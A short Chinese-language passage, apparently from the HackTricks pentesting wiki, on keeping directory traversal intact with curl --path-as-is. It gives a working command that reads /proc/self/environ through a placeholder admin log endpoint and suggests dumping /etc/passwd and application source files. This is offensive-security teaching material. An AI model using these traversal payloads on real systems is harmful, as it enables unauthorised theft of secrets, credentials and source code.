一些 HTTP 客户端会在请求到达服务器之前将 ../ 规范化或折叠,从而破坏 directory traversal payloads。使用 curl --path-as-is 在滥用将用户控制的文件名拼接到日志/下载端点时保持 traversal 不被修改,并为像 /proc 这样的伪文件加上 --ignore-content-length

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

调整 ../ 段的数量,直到逃出目标目录,然后转储 /etc/passwd/proc/self/cwd/app.py 或其他源代码/配置文件。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks